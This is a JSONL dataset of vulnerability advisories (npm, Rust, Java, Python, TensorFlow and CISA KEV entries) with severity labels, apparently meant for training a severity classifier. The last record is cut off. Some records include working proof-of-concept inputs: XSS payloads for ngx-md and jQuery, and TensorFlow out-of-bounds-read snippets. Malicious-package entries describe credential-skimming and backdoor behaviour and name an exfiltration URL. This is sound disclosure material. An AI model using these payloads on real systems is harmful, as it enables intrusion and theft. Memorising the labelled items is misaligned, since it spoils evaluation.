-{"id": "f0920cd684edc99fb1b6", "text": "Cross-Site Scripting in ngx-md\n\nVersions of `ngx-md` prior to 6.0.3 are vulnerable to Cross-Site Scripting.  Links are not properly restricted to http/https and can contain JavaScript which may lead to arbitrary code execution. Markdown input such as `[Click Me](javascript:alert('Injected!'%29)` is rendered as a `Click Me` link that executes JavaScript.\n\n## Recommendation\n\nUpgrade to version 6.0.3 or later.", "text_raw": "Cross-Site Scripting in ngx-md\n\n[Severity: HIGH]\n\nVersions of `ngx-md` prior to 6.0.3 are vulnerable to Cross-Site Scripting.  Links are not properly restricted to http/https and can contain JavaScript which may lead to arbitrary code execution. Markdown input such as `[Click Me](javascript:alert('Injected!'%29)` is rendered as a `Click Me` link that executes JavaScript.\n\n\n## Recommendation\n\nUpgrade to version 6.0.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "cc055d14555ca0f1959d", "text": "Command Injection in psnode\n\nThis affects all current versions of package psnode. If attacker-controlled user input is given to the kill function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Command Injection in psnode\n\n[Severity: HIGH]\n\nThis affects all current versions of package psnode. If attacker-controlled user input is given to the kill function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "75afd6c3be1096efb1a9", "text": "Cross-Site Scripting in jquery\n\nAffected versions of `jquery` are vulnerable to cross-site scripting. This occurs because the main `jquery` function uses a regular expression to differentiate between HTML and selectors, but does not properly anchor the regular expression. The result is that `jquery` may interpret HTML as selectors when given certain inputs, allowing for client side code execution.\n\n## Proof of Concept\n```\n$(\"#log\").html(\n    $(\"element[attribute='<img src=\\\"x\\\" onerror=\\\"alert(1)\\\" />']\").html()\n);\n```\n\n## Recommendation\n\nUpdate to version 1.9.0 or later.", "text_raw": "Cross-Site Scripting in jquery\n\n[Severity: MEDIUM]\n\nAffected versions of `jquery` are vulnerable to cross-site scripting. This occurs because the main `jquery` function uses a regular expression to differentiate between HTML and selectors, but does not properly anchor the regular expression. The result is that `jquery` may interpret HTML as selectors when given certain inputs, allowing for client side code execution.\n\n## Proof of Concept\n```\n$(\"#log\").html(\n    $(\"element[attribute='<img src=\\\"x\\\" onerror=\\\"alert(1)\\\" />']\").html()\n);\n```\n\n\n\n\n## Recommendation\n\nUpdate to version 1.9.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "1d3498d79e1fbcb0ceea", "text": "Mango Automation 2.6.0 User Enumeration Weakness", "text_raw": "Mango Automation 2.6.0 User Enumeration Weakness\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "7bf15fd52e6d09801266", "text": "Centreon 2.6.1 Unrestricted File Upload Vulnerability", "text_raw": "Centreon 2.6.1 Unrestricted File Upload Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "0f54fe482fc645870446", "text": "Uncaught Exception leading to Denial of Service in json-sanitizer\n\nOWASP json-sanitizer before 1.2.2 can output invalid JSON or throw an undeclared exception for crafted input. This may lead to denial of service if the application is not prepared to handle these situations.", "text_raw": "Uncaught Exception leading to Denial of Service in json-sanitizer\n\n[Severity: HIGH]\n\nOWASP json-sanitizer before 1.2.2 can output invalid JSON or throw an undeclared exception for crafted input. This may lead to denial of service if the application is not prepared to handle these situations.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "43711733a1438d5d281f", "text": "Malicious Package in ks-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in ks-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "3d4b361deecef9a98e64", "text": "Zoho ManageEngine ServiceDesk Authentication Bypass Vulnerability\n\nAffected: Zoho ManageEngine ServiceDesk Plus (SDP)\n\nZoho ManageEngine ServiceDesk Plus before 11302 is vulnerable to authentication bypass that allows a few REST-API URLs without authentication\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Zoho ManageEngine ServiceDesk Authentication Bypass Vulnerability\n\nAffected: Zoho ManageEngine ServiceDesk Plus (SDP)\n\nZoho ManageEngine ServiceDesk Plus before 11302 is vulnerable to authentication bypass that allows a few REST-API URLs without authentication\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-01", "split": "train"}
-{"id": "1200ab0846fdee00cc19", "text": "Cross-Site Scripting in markdown-it-katex\n\nAll versions of `markdown-it-katex` are vulnerable to Cross-Site Scripting (XSS). The package fails to properly escape error messages, which may allow attackers to execute arbitrary JavaScript in a victim's browser by triggering an error.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in markdown-it-katex\n\n[Severity: HIGH]\n\nAll versions of `markdown-it-katex` are vulnerable to Cross-Site Scripting (XSS). The package fails to properly escape error messages, which may allow attackers to execute arbitrary JavaScript in a victim's browser by triggering an error.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "8efbfec899ac59c6b0f0", "text": "Use after free in rusqlite\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated because sessions.rs has a use-after-free.", "text_raw": "Use after free in rusqlite\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated because sessions.rs has a use-after-free.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c86577336f647e05ff86", "text": "showdoc is vulnerable to Cross-Site Request Forgery (CSRF)", "text_raw": "showdoc is vulnerable to Cross-Site Request Forgery (CSRF)\n\n[Severity: HIGH]", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "4380919f5c9e421ea5c9", "text": "Malicious Package in log-symboles\n\nVersion 2.1.0 of `log-symboles` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in log-symboles\n\n[Severity: CRITICAL]\n\nVersion 2.1.0 of `log-symboles` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "cfc92821dc0a3e97442d", "text": "Path traversal in impacket\n\nMultiple path traversal vulnerabilities exist in smbserver.py in Impacket before 0.9.23. An attacker that connects to a running smbserver instance can list and write to arbitrary files via ../ directory traversal. This could potentially be abused to achieve arbitrary code execution by replacing /etc/shadow or an SSH authorized key.", "text_raw": "Path traversal in impacket\n\n[Severity: CRITICAL]\n\nMultiple path traversal vulnerabilities exist in smbserver.py in Impacket before 0.9.23. An attacker that connects to a running smbserver instance can list and write to arbitrary files via ../ directory traversal. This could potentially be abused to achieve arbitrary code execution by replacing /etc/shadow or an SSH authorized key.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "927563a1b43cda4dd51b", "text": "Deserialization of untrusted data in Jackson Databind\n\nFasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to org.jsecurity.realm.jndi.JndiRealmFactory (aka org.jsecurity).", "text_raw": "Deserialization of untrusted data in Jackson Databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to org.jsecurity.realm.jndi.JndiRealmFactory (aka org.jsecurity).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-18", "split": "train"}
-{"id": "76dc0569f648722cff5d", "text": "Use of insecure jQuery version in OctoberCMS\n\n### Impact\nPassing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466) by applying the recommended patch from @jquery.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/5c7ba9fbe9f2b596b2f0e3436ee06b91b97e5892 to your installation manually if unable to upgrade to Build 466.\n\n### References\n- https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11022\n- https://jquery.com/upgrade-guide/3.5/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [octobercms@luketowers.ca](mailto:octobercms@luketowers.ca) & [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat Assessment\nAssessed as Moderate by the @jquery team.\n\n### Acknowledgements\n\nThanks to @mrgswift for reporting the issue to the October CMS team.", "text_raw": "Use of insecure jQuery version in OctoberCMS\n\n[Severity: MEDIUM]\n\n### Impact\nPassing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466) by applying the recommended patch from @jquery.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/5c7ba9fbe9f2b596b2f0e3436ee06b91b97e5892 to your installation manually if unable to upgrade to Build 466.\n\n### References\n- https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11022\n- https://jquery.com/upgrade-guide/3.5/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [octobercms@luketowers.ca](mailto:octobercms@luketowers.ca) & [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat Assessment\nAssessed as Moderate by the @jquery team.\n\n### Acknowledgements\n\nThanks to @mrgswift for reporting the issue to the October CMS team.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "9a448acfd123be2cb96e", "text": "Malicious Package in coinpayment\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in coinpayment\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1855db5cfadd2c0bc51a", "text": "Double free in http\n\nAn issue was discovered in the http crate before 0.1.20 for Rust. The HeaderMap::Drain API can use a raw pointer, defeating soundness.", "text_raw": "Double free in http\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the http crate before 0.1.20 for Rust. The HeaderMap::Drain API can use a raw pointer, defeating soundness.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e228bcdb433543893ddc", "text": "OAuth2 Redirect URL validity does not respect query parameters and character casing for loopback addresses\n\n### Impact\n\n[fosite#400](https://github.com/ory/fosite/pull/400) (released as v0.30.2) introduced a new feature for handling redirect URLs pointing to loopback interfaces ([rfc8252#section-7.3](https://tools.ietf.org/html/rfc8252#section-7.3)). As part of that change new behavior was introduced which failed to respect the redirect URL's (only for loopback interfaces!) query parameters\n\n1. Registering a client with allowed redirect URL `http://127.0.0.1/callback`\n2. Performing OAuth2 flow and requesting redirect URL `http://127.0.0.1/callback?bar=foo`\n3. Instead of an error, the browser is redirected to `http://127.0.0.1/callback?bar=foo` with a potentially successful OAuth2 response.\n\nas well as the host parameter (as long as the host is a loopback interface):\n\n1. Registering a client with allowed redirect URL `https://example.com/callback`\n2. Performing OAuth2 flow and requesting redirect URL `http://127.0.0.1/callback`\n3. Instead of an error, the browser is redirected to `http://127.0.0.1/callback` with a potentially successful OAuth2 response.\n\nThese bugs are only applicable in scenarios where the attacker has control over the loopback interface (`localhost`, `127.0.0.1`, `[::1]`) where the browser performing the OAuth2 flow is running.", "text_raw": "OAuth2 Redirect URL validity does not respect query parameters and character casing for loopback addresses\n\n[Severity: MEDIUM]\n\n### Impact\n\n[fosite#400](https://github.com/ory/fosite/pull/400) (released as v0.30.2) introduced a new feature for handling redirect URLs pointing to loopback interfaces ([rfc8252#section-7.3](https://tools.ietf.org/html/rfc8252#section-7.3)). As part of that change new behavior was introduced which failed to respect the redirect URL's (only for loopback interfaces!) query parameters\n\n1. Registering a client with allowed redirect URL `http://127.0.0.1/callback`\n2. Performing OAuth2 flow and requesting redirect URL `http://127.0.0.1/callback?bar=foo`\n3. Instead of an error, the browser is redirected to `http://127.0.0.1/callback?bar=foo` with a potentially successful OAuth2 response.\n\nas well as the host parameter (as long as the host is a loopback interface):\n\n1. Registering a client with allowed redirect URL `https://example.com/callback`\n2. Performing OAuth2 flow and requesting redirect URL `http://127.0.0.1/callback`\n3. Instead of an error, the browser is redirected to `http://127.0.0.1/callback` with a potentially successful OAuth2 response.\n\nThese bugs are only applicable in scenarios where the attacker has control over the loopback interface (`localhost`, `127.0.0.1`, `[::1]`) where the browser performing the OAuth2 flow is running.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "729edc615d6a654bd50f", "text": "Intel Modular Server System 10.18 CSRF Change Admin Password Exploit", "text_raw": "Intel Modular Server System 10.18 CSRF Change Admin Password Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-03-13", "split": "train"}
-{"id": "da21788142379e037f96", "text": "Improper Restriction of Operations within the Bounds of a Memory Buffer in OpenCV\n\nOpenCV 3.3.1 (corresponding with opencv-python and opencv-contrib-python 3.3.1.11) has a Buffer Overflow in the cv::PxMDecoder::readData function in grfmt_pxm.cpp, because an incorrect size value is used.", "text_raw": "Improper Restriction of Operations within the Bounds of a Memory Buffer in OpenCV\n\n[Severity: MEDIUM]\n\nOpenCV 3.3.1 (corresponding with opencv-python and opencv-contrib-python 3.3.1.11) has a Buffer Overflow in the cv::PxMDecoder::readData function in grfmt_pxm.cpp, because an incorrect size value is used.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "479ab17074290d0084c5", "text": "Google Chromium V8 Type Confusion Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains a type confusion vulnerability allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-843\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium V8 Type Confusion Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains a type confusion vulnerability allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-843\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "fe889032a666fab2f19d", "text": "Unintended Require in larvitbase-api\n\nVersions of `larvitbase-api` prior to 0.5.4 are vulnerable to an Unintended Require. The package exposes an API endpoint and passes a GET parameter unsanitized to an `require()` call. This allows attackers to execute any `.js` file in the same folder as the server is running.\n\n## Recommendation\n\nUpgrade to version 0.5.4 or later.", "text_raw": "Unintended Require in larvitbase-api\n\n[Severity: HIGH]\n\nVersions of `larvitbase-api` prior to 0.5.4 are vulnerable to an Unintended Require. The package exposes an API endpoint and passes a GET parameter unsanitized to an `require()` call. This allows attackers to execute any `.js` file in the same folder as the server is running.\n\n\n## Recommendation\n\nUpgrade to version 0.5.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "5732984d3400e9964f00", "text": "Dom4j contains a XML Injection vulnerability\n\ndom4j version prior to version 2.1.1 contains a CWE-91: XML Injection vulnerability in Class: Element. Methods: addElement, addAttribute that can result in an attacker tampering with XML documents through XML injection. This attack appear to be exploitable via an attacker specifying attributes or elements in the XML document. This vulnerability appears to have been fixed in 2.1.1 or later.\n\nNote: This advisory applies to `dom4j:dom4j` version 1.x legacy artifacts.  To resolve this a change to the latest version of `org.dom4j:dom4j` is recommended.", "text_raw": "Dom4j contains a XML Injection vulnerability\n\n[Severity: HIGH]\n\ndom4j version prior to version 2.1.1 contains a CWE-91: XML Injection vulnerability in Class: Element. Methods: addElement, addAttribute that can result in an attacker tampering with XML documents through XML injection. This attack appear to be exploitable via an attacker specifying attributes or elements in the XML document. This vulnerability appears to have been fixed in 2.1.1 or later.\n\nNote: This advisory applies to `dom4j:dom4j` version 1.x legacy artifacts.  To resolve this a change to the latest version of `org.dom4j:dom4j` is recommended.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "c89d9c8731cbcd4c864b", "text": "Prototype Pollution in putil-merge\n\nPrototype pollution vulnerability in 'putil-merge' versions1.0.0 through 3.6.6 allows attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype Pollution in putil-merge\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'putil-merge' versions1.0.0 through 3.6.6 allows attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "020656386ab212c4d231", "text": "Improper Restriction of Excessive Authentication Attempts in py-bcrypt\n\nThe py-bcrypt module before 0.3 for Python does not properly handle concurrent memory access, which allows attackers to bypass authentication via multiple authentication requests, which trigger the password hash to be overwritten.", "text_raw": "Improper Restriction of Excessive Authentication Attempts in py-bcrypt\n\n[Severity: HIGH]\n\nThe py-bcrypt module before 0.3 for Python does not properly handle concurrent memory access, which allows attackers to bypass authentication via multiple authentication requests, which trigger the password hash to be overwritten.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "132124cf17bcebe66475", "text": "Invenio-App vulnerable to host header injection attack\n\n## APP_ALLOWED_HOSTS not always preventing host header injection\n\n### Impact\nA possible host header injection attack have been identified in Invenio-App.  For an attack to be possible, all conditions below must be met:\n\n1. Your webserver must have been configured to route all requests to your application. \n2. You must have relied on ``APP_ALLOWED_HOSTS`` configuration variable to whitelist allowed host headers.\n3. Flask's ``request.host`` must not have been evaluated during request handling.\n\nAn example of a view which does not evalute ``request.host`` is a simple view using just ``url_for`` to generate an external URL (similar is possible when rendering just a Jinja template):\n\n```python\n@app.route('/')\ndef index():\n    return url_for('index_url', _external=True)\n```\n\nThis happens, because Werkzeug's trusted host feature, which ``APP_ALLOWED_HOSTS`` rely on, does not check the the list of trusted hosts in it's routing system that ``url_for`` is relying on.\n\n### Patches\nInvenio-App v1.0.6 and v1.1.1 fully fix the issue.\n\nNote, we strongly recommend (see [Securing your instance](https://invenio.readthedocs.io/en/latest/deployment/securing-your-instance.html#allowed-hosts)) that you never route requests to your application with a wrong host header.  The ``APP_ALLOWED_HOSTS`` configuration variable exists as an extra protective measure because it is easy to misconfigure your web server to allow requests with any host header.\n\n### Workaround 1 - Configure your webserver\n\nYou should ensure that you never route requests with a wrong host header to your application. The workaround depends on which web server you are using to proxy requests to your application. In general it involves ensuring that the web server has two virtual hosts defined:\n\n1. **Default virtual host**: a dummy default virtual host that by default is used unless the webserver can match the host header to another virtual host (i.e. a catch-all).\n2. **Application virtual host**: the application virtual host responsible for proxing requests to the application, and configured to only reply to a whitelist of host headers.\n\nNote, for instance in Nginx if you only configure the application virtual host, by default, it will also act as the default virtual host despite you having configured a whitelist of host headers.\n\nBelow is an example for Nginx. Note for clarity we have only included the virtual host for port 443, but this also extends to virtual hosts running on any other port.\n```\n# etc/nginx/nginx.conf\nhttp {\n  # ...\n  include /etc/nginx/conf.d/*.conf;\n}\n```\n\n**Default virtual host**\n\nNotice, the ``server_name`` is ``_`` and the ``listen`` directive has it marked as ``default_server``.\n\n```\n# etc/nginx/conf.d/default.conf\nserver {\n  listen 443 default_server;\n  listen [::]:443 default_server;\n  server_name _;\n\n# ...\n\nreturn 301 https://www.example.com;\n}\n```\n\n**Application virtual host**\n\nNotice, the ``server_name`` is set to the host header whitelist.\n\n```\n# etc/nginx/conf.d/app.conf\nserver {\n  listen 443;\n  listen [::]:443;\n  server_name www.example.com;\n\n# ...\n}\n```\n\n### Workaround 2 - Include application snippet\n\nWe strongly recommend that you use the method described in Workaround 1.\n\nIf you are not able to upgrade to the patched versions of Invenio-App, you can include the following code snippet in your application to force evaluation of ``request.hosts``.\n\n```python\n@app.before_request\ndef before_request():\n    request.host\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org)", "text_raw": "Invenio-App vulnerable to host header injection attack\n\n[Severity: MEDIUM]\n\n## APP_ALLOWED_HOSTS not always preventing host header injection\n\n### Impact\nA possible host header injection attack have been identified in Invenio-App.  For an attack to be possible, all conditions below must be met:\n\n1. Your webserver must have been configured to route all requests to your application. \n2. You must have relied on ``APP_ALLOWED_HOSTS`` configuration variable to whitelist allowed host headers.\n3. Flask's ``request.host`` must not have been evaluated during request handling.\n\nAn example of a view which does not evalute ``request.host`` is a simple view using just ``url_for`` to generate an external URL (similar is possible when rendering just a Jinja template):\n\n```python\n@app.route('/')\ndef index():\n    return url_for('index_url', _external=True)\n```\n\nThis happens, because Werkzeug's trusted host feature, which ``APP_ALLOWED_HOSTS`` rely on, does not check the the list of trusted hosts in it's routing system that ``url_for`` is relying on.\n\n### Patches\nInvenio-App v1.0.6 and v1.1.1 fully fix the issue. \n\nNote, we strongly recommend (see [Securing your instance](https://invenio.readthedocs.io/en/latest/deployment/securing-your-instance.html#allowed-hosts)) that you never route requests to your application with a wrong host header.  The ``APP_ALLOWED_HOSTS`` configuration variable exists as an extra protective measure because it is easy to misconfigure your web server to allow requests with any host header. \n\n### Workaround 1 - Configure your webserver\n\nYou should ensure that you never route requests with a wrong host header to your application. The workaround depends on which web server you are using to proxy requests to your application. In general it involves ensuring that the web server has two virtual hosts defined:\n\n1. **Default virtual host**: a dummy default virtual host that by default is used unless the webserver can match the host header to another virtual host (i.e. a catch-all).\n2. **Application virtual host**: the application virtual host responsible for proxing requests to the application, and configured to only reply to a whitelist of host headers.\n\nNote, for instance in Nginx if you only configure the application virtual host, by default, it will also act as the default virtual host despite you having configured a whitelist of host headers.\n\nBelow is an example for Nginx. Note for clarity we have only included the virtual host for port 443, but this also extends to virtual hosts running on any other port.\n```\n# etc/nginx/nginx.conf\nhttp {\n  # ...\n  include /etc/nginx/conf.d/*.conf;\n}\n```\n\n**Default virtual host**\n\nNotice, the ``server_name`` is ``_`` and the ``listen`` directive has it marked as ``default_server``.\n\n```\n# etc/nginx/conf.d/default.conf\nserver {\n  listen 443 default_server;\n  listen [::]:443 default_server;\n  server_name _;\n\n  # ... \n\n  return 301 https://www.example.com;\n}\n```\n\n**Application virtual host**\n\nNotice, the ``server_name`` is set to the host header whitelist.\n\n```\n# etc/nginx/conf.d/app.conf\nserver {\n  listen 443;\n  listen [::]:443;\n  server_name www.example.com;\n\n  # ...\n}\n```\n\n### Workaround 2 - Include application snippet\n\nWe strongly recommend that you use the method described in Workaround 1.\n\nIf you are not able to upgrade to the patched versions of Invenio-App, you can include the following code snippet in your application to force evaluation of ``request.hosts``.\n\n```python\n@app.before_request\ndef before_request():\n    request.host\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
-{"id": "74c26ed5a3e992d81317", "text": "Malicious Package in jasmin\n\nVersion 0.0.3 of `jasmin` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.0.3 of this module is found installed you will want to replace it with a version before or after 0.0.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.0.2", "text_raw": "Malicious Package in jasmin\n\n[Severity: CRITICAL]\n\nVersion 0.0.3 of `jasmin` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.0.3 of this module is found installed you will want to replace it with a version before or after 0.0.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.0.2", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "5e6d2e20daf65ef0026e", "text": "Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops\n\n### Impact\nThe [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV4Grad(\n    gradients=[1.0,1.0],\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    axis=-100)\n  return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV4(\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    signed_input=False,\n    num_bits=10,\n    range_given=False,\n    round_mode='HALF_TO_EVEN',\n    narrow_range=False,\n    axis=-100)\n  return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV3(\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    signed_input=False,\n    num_bits=10,\n    range_given=False,\n    narrow_range=False,\n    axis=-100)\n  return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV2(\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    signed_input=False,\n    num_bits=10,\n    range_given=False,\n    round_mode='HALF_TO_EVEN',\n    narrow_range=False,\n    axis=-100)\n  return data\n\ntest()\n```\n\nIn all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:\n\n```cc\n...\nif (axis != -1) {\n  ...\n  c->Dim(input, axis);\n  ...\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops\n\n[Severity: MEDIUM]\n\n### Impact\nThe [shape inference functions for the `QuantizeAndDequantizeV*` 